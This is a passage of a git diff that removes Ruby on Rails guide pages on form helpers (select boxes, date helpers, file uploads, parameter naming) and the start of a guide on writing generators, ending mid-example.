-TIP: Declaring a resource has a number of side-affects. See "Rails Routing From the Outside In":routing.html#resource-routing-the-rails-default for more information on setting up and using resources.
-
-When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
-
-<ruby>
-## Creating a new article
-# long-style:
-form_for(@article, :url => articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
-
-## Editing an existing article
-# long-style:
-form_for(@article, :url => article_path(@article), :html => { :method => "put" })
-# short-style:
-form_for(@article)
-</ruby>
-
-Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object.
-
-Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide.
-
-WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly.
-
-h5. Dealing with Namespaces
-
-If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
-
-<ruby>
-form_for [:admin, @article]
-</ruby>
-
-will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar:
-
-<ruby>
-form_for [:admin, :management, @article]
-</ruby>
-
-For more information on Rails' routing system and the associated conventions, please see the "routing guide":routing.html.
-
-
-h4. How do forms with PUT or DELETE methods work?
-
-The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
-
-Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method:
-
-<ruby>
-form_tag(search_path, :method => "put")
-</ruby>
-
-output:
-
-<html>
-<form accept-charset="UTF-8" action="/search" method="post">
- <div style="margin:0;padding:0">
- <input name="_method" type="hidden" value="put" />
- <input name="utf8" type="hidden" value="&#x2713;" />
- <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
- </div>
- ...
-</html>
-
-When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example).
-
-h3. Making Select Boxes with Ease
-
-Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
-
-Here is what the markup might look like:
-
-<html>
-<select name="city_id" id="city_id">
- <option value="1">Lisbon</option>
- <option value="2">Madrid</option>
- ...
- <option value="12">Berlin</option>
-</select>
-</html>
-
-Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
-
-h4. The Select and Option Tags
-
-The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
-
-<erb>
-<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
-</erb>
-
-This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper:
-
-<erb>
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
-
-output:
-
-<option value="1">Lisbon</option>
-<option value="2">Madrid</option>
-...
-</erb>
-
-The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
-
-Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup:
-
-<erb>
-<%= select_tag(:city_id, options_for_select(...)) %>
-</erb>
-
-+options_for_select+ allows you to pre-select an option by passing its value.
-
-<erb>
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
-
-output:
-
-<option value="1">Lisbon</option>
-<option value="2" selected="selected">Madrid</option>
-...
-</erb>
-
-Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option.
-
-TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings.
-
-h4. Select Boxes for Dealing with Models
-
-In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
-
-<ruby>
-# controller:
-@person = Person.new(:city_id => 2)
-</ruby>
-
-<erb>
-# view:
-<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
-</erb>
-
-Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute.
-
-As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be:
-
-<erb>
-# select on a form builder
-<%= f.select(:city_id, ...) %>
-</erb>
-
-WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <tt> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </tt> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#_mass_assignment.
-
-h4. Option Tags from a Collection of Arbitrary Objects
-
-Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
-
-<erb>
-<% cities_array = City.all.map { |city| [city.name, city.id] } %>
-<%= options_for_select(cities_array) %>
-</erb>
-
-This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
-
-<erb>
-<%= options_from_collection_for_select(City.all, :id, :name) %>
-</erb>
-
-As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+.
-
-<erb>
-<%= collection_select(:person, :city_id, City.all, :id, :name) %>
-</erb>
-
-To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+.
-
-NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method.
-
-h4. Time Zone and Country Select
-
-To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
-
-<erb>
-<%= time_zone_select(:person, :time_zone) %>
-</erb>
-
-There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
-
-Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":https://github.com/chrislerum/country_select. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
-
-h3. Using Date and Time Form Helpers
-
-The date and time helpers differ from all the other form helpers in two important respects:
-
-# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time.
-# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers.
-
-Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
-
-h4. Barebones Helpers
-
-The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
-
-<erb>
-<%= select_date Date.today, :prefix => :start_date %>
-</erb>
-
-outputs (with actual option values omitted for brevity)
-
-<html>
-<select id="start_date_year" name="start_date[year]"> ... </select>
-<select id="start_date_month" name="start_date[month]"> ... </select>
-<select id="start_date_day" name="start_date[day]"> ... </select>
-</html>
-
-The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
-
-<ruby>
-Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
-</ruby>
-
-The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
-
-h4(#select-model-object-helpers). Model Object Helpers
-
-+select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
-The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
-
-<erb>
-<%= date_select :person, :birth_date %>
-</erb>
-
-outputs (with actual option values omitted for brevity)
-
-<html>
-<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
-<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
-<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
-</html>
-
-which results in a +params+ hash like
-
-<ruby>
-{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
-</ruby>
-
-When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
-
-h4. Common Options
-
-Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
-
-As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date.
-
-NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
-
-h4. Individual Components
-
-Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overridden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value.
-
-The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
-
-<erb>
-<%= select_year(2009) %>
-<%= select_year(Time.now) %>
-</erb>
-
-will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
-
-h3. Uploading Files
-
-A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding *MUST* be set to "multipart/form-data". If you use +form_for+, this is done automatically. If you use +form_tag+, you must set it yourself, as per the following example.
-
-The following two forms both upload a file.
-
-<erb>
-<%= form_tag({:action => :upload}, :multipart => true) do %>
- <%= file_field_tag 'picture' %>
-<% end %>
-
-<%= form_for @person do |f| %>
- <%= f.file_field :picture %>
-<% end %>
-</erb>
-
-NOTE: Since Rails 3.1, forms rendered using +form_for+ have their encoding set to <tt>multipart/form-data</tt> automatically once a +file_field+ is used inside the block. Previous versions required you to set this explicitly.
-
-Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+.
-
-h4. What Gets Uploaded
-
-The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
-
-<ruby>
-def upload
- uploaded_io = params[:person][:picture]
- File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
- file.write(uploaded_io.read)
- end
-end
-</ruby>
-
-Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are "CarrierWave":https://github.com/jnicklas/carrierwave and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
-
-NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
-
-h4. Dealing with Ajax
-
-Unlike other forms making an asynchronous file upload form is not as simple as providing +form_for+ with <tt>:remote => true</tt>. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
-
-h3. Customizing Form Builders
-
-As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
-
-<erb>
-<%= form_for @person do |f| %>
- <%= text_field_with_label f, :first_name %>
-<% end %>
-</erb>
-
-can be replaced with
-
-<erb>
-<%= form_for @person, :builder => LabellingFormBuilder do |f| %>
- <%= f.text_field :first_name %>
-<% end %>
-</erb>
-
-by defining a LabellingFormBuilder class similar to the following:
-
-<ruby>
-class LabellingFormBuilder < ActionView::Helpers::FormBuilder
- def text_field(attribute, options={})
- label(attribute) + super
- end
-end
-</ruby>
-
-If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option.
-
-The form builder used also determines what happens when you do
-
-<erb>
-<%= render :partial => f %>
-</erb>
-
-If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
-
-h3. Understanding Parameter Naming Conventions
-
-As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+
-action for a Person model, +params[:model]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on.
-
-Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
-
-TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example,
-
-<ruby>
-ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789"
-# => {"name"=>"fred", "phone"=>"0123456789"}
-</ruby>
-
-h4. Basic Structures
-
-The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
-
-<html>
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</html>
-
-the +params+ hash will contain
-
-<erb>
-{'person' => {'name' => 'Henry'}}
-</erb>
-
-and +params[:person][:name]+ will retrieve the submitted value in the controller.
-
-Hashes can be nested as many levels as required, for example
-
-<html>
-<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
-</html>
-
-will result in the +params+ hash being
-
-<ruby>
-{'person' => {'address' => {'city' => 'New York'}}}
-</ruby>
-
-Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
-
-<html>
-<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
-</html>
-
-This would result in +params[:person][:phone_number]+ being an array.
-
-h4. Combining Them
-
-We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
-
-<html>
-<input name="addresses[][line1]" type="text"/>
-<input name="addresses[][line2]" type="text"/>
-<input name="addresses[][city]" type="text"/>
-</html>
-
-This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
-
-There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
-
-WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays.
-
-h4. Using Form Helpers
-
-The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take.
-
-You might want to render a form with a set of edit fields for each of a person's addresses. For example:
-
-<erb>
-<%= form_for @person do |person_form| %>
- <%= person_form.text_field :name %>
- <% @person.addresses.each do |address| %>
- <%= person_form.fields_for address, :index => address do |address_form|%>
- <%= address_form.text_field :city %>
- <% end %>
- <% end %>
-<% end %>
-</erb>
-
-Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
-
-<html>
-<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
- <input id="person_name" name="person[name]" size="30" type="text" />
- <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" />
- <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" />
-</form>
-</html>
-
-This will result in a +params+ hash that looks like
-
-<ruby>
-{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
-</ruby>
-
-Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling Rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created).
-
-To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example
-
-<erb>
-<%= fields_for 'person[address][primary]', address, :index => address do |address_form| %>
- <%= address_form.text_field :city %>
-<% end %>
-</erb>
-
-will create inputs like
-
-<html>
-<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" />
-</html>
-
-As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
-
-As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifying +:index => address+ so
-
-<erb>
-<%= fields_for 'person[address][primary][]', address do |address_form| %>
- <%= address_form.text_field :city %>
-<% end %>
-</erb>
-
-produces exactly the same output as the previous example.
-
-h3. Forms to external resources
-
-If you need to post some data to an external resource it is still great to build your from using rails form helpers. But sometimes you need to set an +authenticity_token+ for this resource. You can do it by passing an +:authenticity_token => 'your_external_token'+ parameter to the +form_tag+ options:
-
-<erb>
-<%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %>
- Form contents
-<% end %>
-</erb>
-
-Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an +authenticity_token+ hidden field at all. For doing this just pass +false+ to the +:authenticity_token+ option:
-
-<erb>
-<%= form_tag 'http://farfar.away/form', :authenticity_token => false) do %>
- Form contents
-<% end %>
-</erb>
-
-The same technique is available for the +form_for+ too:
-
-<erb>
-<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f|
- Form contents
-<% end %>
-</erb>
-
-Or if you don't want to render an +authenticity_token+ field:
-
-<erb>
-<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f|
- Form contents
-<% end %>
-</erb>
-
-h3. Building Complex Forms
-
-Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:
-
-* As of Rails 2.3, Rails includes "Nested Attributes":./2_3_release_notes.html#nested-attributes and "Nested Object Forms":./2_3_release_notes.html#nested-object-forms
-* Ryan Bates' series of Railscasts on "complex forms":http://railscasts.com/episodes/75
-* Handle Multiple Models in One Form from "Advanced Rails Recipes":http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf
-* Eloy Duran's "complex-forms-examples":https://github.com/alloy/complex-form-examples/ application
-* Lance Ivy's "nested_assignment":https://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":https://github.com/cainlevy/complex-form-examples/tree/cainlevy
-* James Golick's "attribute_fu":https://github.com/jamesgolick/attribute_fu plugin
diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile
deleted file mode 100644
index 7a863ccbc7..0000000000
--- a/railties/guides/source/generators.textile
+++ /dev/null
@@ -1,621 +0,0 @@
-h2. Creating and Customizing Rails Generators & Templates
-
-Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
-
-In this guide you will:
-
-* Learn how to see which generators are available in your application
-* Create a generator using templates
-* Learn how Rails searches for generators before invoking them
-* Customize your scaffold by creating new generators
-* Customize your scaffold by changing generator templates
-* Learn how to use fallbacks to avoid overwriting a huge set of generators
-* Learn how to create an application template
-
-endprologue.
-
-NOTE: This guide is about generators in Rails 3, previous versions are not covered.
-
-h3. First Contact
-
-When you create an application using the +rails+ command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking +rails generate+:
-
-<shell>
-$ rails new myapp
-$ cd myapp
-$ rails generate
-</shell>
-
-You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
-
-<shell>
-$ rails generate helper --help
-</shell>
-
-h3. Creating Your First Generator
-
-Since Rails 3.0, generators are built on top of "Thor":https://github.com/wycats/thor. Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named +initializer.rb+ inside +config/initializers+.
-
-The first step is to create a file at +lib/generators/initializer_generator.rb+ with the following content:
-
-<ruby>
-class InitializerGenerator < Rails::Generators::Base
- def create_initializer_file
- create_file "config/initializers/initializer.rb", "# Add initialization content here"
- end
-end
-</ruby>
-
-NOTE: +create_file+ is a method provided by +Thor::Actions+. Documentation for +create_file+ and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
-
-Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and has one method definition. Each public method in the generator is executed when a generator is invoked. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
-
-To invoke our new generator, we just need to do:
-
-<shell>
-$ rails generate initializer
-</shell>
-
-Before we go on, let's see our brand new generator description:
-
-<shell>
-$ rails generate initializer --help
-</shell>
-
-Rails is usually able to generate good descriptions if a generator is namespaced, as +ActiveRecord::Generators::ModelGenerator+, but not in this particular case. We can solve this problem in two ways. The first one is calling +desc+ inside our generator:
-
-<ruby>
-class InitializerGenerator < Rails::Generators::Base
- desc "This generator creates an initializer file at config/initializers"
- def create_initializer_file
- create_file "config/initializers/initializer.rb", "# Add initialization content here"
- end
-end
-</ruby>
-
-Now we can see the new description by invoking +--help+ on the new generator. The second way to add a description is by creating a file named +USAGE+ in the same directory as our generator. We are going to do that in the next step.
-
-h3. Creating Generators with Generators
-
-Generators themselves have a generator:
-
-<shell>
-$ rails generate generator initializer
- create lib/generators/initializer
- create lib/generators/initializer/initializer_generator.rb
- create lib/generators/initializer/USAGE
- create lib/generators/initializer/templates
-</shell>
-
-This is the generator just created:
-
-<ruby>
-class InitializerGenerator < Rails::Generators::NamedBase
- source_root File.expand_path("../templates", __FILE__)
-end
-</ruby>
-
-First, notice that we are inheriting from +Rails::Generators::NamedBase+ instead of +Rails::Generators::Base+. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable +name+.
-
-We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
-
-<shell>
-$ rails generate initializer --help
-Usage:
- rails generate initializer NAME [options]
-</shell>
-
-We can also see that our new generator has a class method called +source_root+. This method points to where our generator templates will be placed, if any, and by default it points to the created directory +lib/generators/initializer/templates+.
-
-In order to understand what a generator template means, let's create the file +lib/generators/initializer/templates/initializer.rb+ with the following content:
-
-<ruby>
-# Add initialization content here
-</ruby>
-
-And now let's change the generator to copy this template when invoked:
-
-<ruby>
-class InitializerGenerator < Rails::Generators::NamedBase
- source_root File.expand_path("../templates", __FILE__)
-
- def copy_initializer_file
- copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
- end
-end
-</ruby>
-
-And let's execute our generator:
-
-<shell>
-$ rails generate initializer core_extensions
-</shell>
-
-We can see that now an initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+.
-
-The methods that are available for generators are covered in the "final section":#generator-methods of this guide.
-
-h3. Generators Lookup
-
-When you run +rails generate initializer core_extensions+ Rails requires these files in turn until one is found:
-
-<shell>
-rails/generators/initializer/initializer_generator.rb
-generators/initializer/initializer_generator.rb
-rails/generators/initializer_generator.rb
-generators/initializer_generator.rb
-</shell>
-
-If none is found you get an error message.
-
-INFO: The examples above put files under the application's +lib+ because said directory belongs to +$LOAD_PATH+.
-
-h3. Customizing Your Workflow
-
-Rails own generators are flexible enough to let you customize scaffolding. They can be configured in +config/application.rb+, these are some defaults:
-
-<ruby>
-config.generators do |g|
- g.orm :active_record
- g.template_engine :erb
- g.test_framework :test_unit, :fixture => true
-end
-</ruby>
-
-Before we customize our workflow, let's first see what our scaffold looks like:
-
-<shell>
-$ rails generate scaffold User name:string
- invoke active_record
- create db/migrate/20091120125558_create_users.rb
- create app/models/user.rb
- invoke test_unit
- create test/unit/user_test.rb
- create test/fixtures/users.yml
- route resources :users
- invoke scaffold_controller
- create app/controllers/users_controller.rb
- invoke erb
- create app/views/users
- create app/views/users/index.html.erb
- create app/views/users/edit.html.erb
- create app/views/users/show.html.erb
- create app/views/users/new.html.erb
- create app/views/users/_form.html.erb
- invoke test_unit
- create test/functional/users_controller_test.rb
- invoke helper
- create app/helpers/users_helper.rb
- invoke test_unit
- create test/unit/helpers/users_helper_test.rb
- invoke stylesheets
- create app/assets/stylesheets/scaffold.css
-</shell>
-
-Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
-
-Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
-
-<ruby>
-config.generators do |g|
- g.orm :active_record
- g.template_engine :erb
- g.test_framework :test_unit, :fixture => false
- g.stylesheets false
-end
-</ruby>
-
-If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
-
-To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
-
-<shell>
-$ rails generate generator rails/my_helper
-</shell>
-
-After that, we can delete both the +templates+ directory and the +source_root+ class method from our new generators, because we are not going to need them. So our new generator looks like the following:
-
-<ruby>
-class Rails::MyHelperGenerator < Rails::Generators::NamedBase
- def create_helper_file
- create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
-module #{class_name}Helper
- attr_reader :#{plural_name}, :#{plural_name.singularize}
-end
- FILE
- end
-end
-</ruby>
-
-We can try out our new generator by creating a helper for users:
-
-<shell>
-$ rails generate my_helper products
-</shell>
-
-And it will generate the following helper file in +app/helpers+:
-
-<ruby>
-module ProductsHelper
- attr_reader :products, :product
-end
-</ruby>
-
-Which is what we expected. We can now tell scaffold to use our new helper generator by editing +config/application.rb+ once again:
-
-<ruby>
-config.generators do |g|
- g.orm :active_record
- g.template_engine :erb
- g.test_framework :test_unit, :fixture => false
- g.stylesheets false
- g.helper :my_helper
-end
-</ruby>
-
-and see it in action when invoking the generator:
-
-<shell>
-$ rails generate scaffold Post body:text
- [...]
- invoke my_helper
- create app/helpers/posts_helper.rb
-</shell>
-
-We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
-
-Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.
-
-To do that, we can change the generator this way:
-
-<ruby>
-class Rails::MyHelperGenerator < Rails::Generators::NamedBase
- def create_helper_file
- create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
-module #{class_name}Helper
- attr_reader :#{plural_name}, :#{plural_name.singularize}
-end
- FILE
- end
-
